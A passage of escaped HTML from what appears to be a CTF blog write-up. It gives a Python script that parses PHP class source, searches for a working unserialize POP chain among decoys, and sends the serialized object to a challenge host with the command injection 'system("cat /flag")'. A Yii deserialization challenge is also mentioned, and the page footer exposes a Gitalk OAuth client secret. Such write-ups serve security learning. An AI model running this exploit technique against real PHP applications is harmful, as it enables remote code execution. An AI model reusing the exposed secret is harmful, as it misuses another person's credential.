class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e serialize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phply \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e phplex\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phply.phpast \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phply.phpparse \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e make_parser\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eclasses = \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003efunc2class = \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eparser = make_parser()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003egood_paths = []\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"built_in\"\u003eopen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;class.php\u0026#x27;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e file:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e lexer = phplex.lexer.clone()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ast = parser.parse(file.read(), lexer=lexer)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e cls \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e ast:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e cls.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Method:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e func2class[i.name] = cls.name\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e classes[cls.name] = cls\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eis_good_assign\u003c/span\u003e(\u003cspan class=\"params\"\u003ectx_param, node: Assignment\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eassert\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node) == Assignment\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ctx_param.name == node.node.name:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) == BinaryOp:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.op == \u003cspan class=\"string\"\u003e\u0026#x27;.\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.left.name == ctx_param.name:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(node)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# unexpected\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) == Variable:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.name == ctx_param.name:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ehandle_if\u003c/span\u003e(\u003cspan class=\"params\"\u003ectx_param, node: If\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eassert\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node) == If\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e BinaryOp:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# debug\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003eeval\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(node.expr.left)+node.expr.op+\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(node.expr.right)):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e n \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e node.node.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(n) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Assignment \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e is_good_assign(ctx_param, n):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e FunctionCall:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.name == \u003cspan class=\"string\"\u003e\u0026#x27;method_exists\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e func = node.expr.params[\u003cspan class=\"number\"\u003e1\u003c/span\u003e].node\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eassert\u003c/span\u003e(\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(func) == \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e search(classes[func2class[func]],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e node.expr.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].node.name, func)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;unexpected call\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;unexpected expr\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ehandle_method\u003c/span\u003e(\u003cspan class=\"params\"\u003ectx, method\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ctx.param = method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e method.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e For:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e n \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e i.node.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(n) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Assignment \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e is_good_assign(method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], n):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e If:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e handle_if(method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], i):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e MethodCall:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e search(classes[func2class[i.name]], i.node.name, i.name)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Assignment:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e is_good_assign(method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], i):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Eval:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003esearch\u003c/span\u003e(\u003cspan class=\"params\"\u003enode, attr, method, path=[]\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e path.append((node, attr, method))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e node.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Method \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e i.name == method:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ctx = \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, (\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e,), \u0026#123;\u0026#125;)()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e handle_method(ctx, i):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e good_paths.append(\u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(path))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e path.pop()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003egood_paths = []\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esearch(classes[\u003cspan class=\"string\"\u003e\u0026#x27;dLEWX3\u0026#x27;\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;L8IHXt\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(good_paths))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e n, a, m \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e good_paths[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(n.name, a, m)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eprop_call\u003c/span\u003e(\u003cspan class=\"params\"\u003eparent, attr, cls\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003esetattr\u003c/span\u003e(parent, attr, \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(cls, (\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e,), \u0026#123;\u0026#125;)())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003egetattr\u003c/span\u003e(parent, attr)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eroot = \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;dLEWX3\u0026#x27;\u003c/span\u003e, (\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e,), \u0026#123;\u0026#125;)()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003enode = root\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epath = good_paths[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(path)):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e node = prop_call(node, path[i][\u003cspan class=\"number\"\u003e1\u003c/span\u003e], path[i][\u003cspan class=\"number\"\u003e0\u003c/span\u003e].name)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(serialize(root))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.get(\u003cspan class=\"string\"\u003e\u0026#x27;http://my_instance.cloudeci1.ichunqiu.com/\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;pop\u0026#x27;\u003c/span\u003e: serialize(root),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;argv\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;system(\u0026quot;cat /flag\u0026quot;); //\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e这道题需要解析php源码的ast,并且进行搜索,去掉不可用的假链,找到唯一的一条真链。\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e CTFHUB framework \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cimg src=\"/2021/06/15/Misc/libphpserialize/yii.jpg\" class=\"\"\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e这道题是一道比较常规的框架反序列化,payload需要base64_encode后发送\u003c/p\u003e\u003cp\u003eWIP\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink 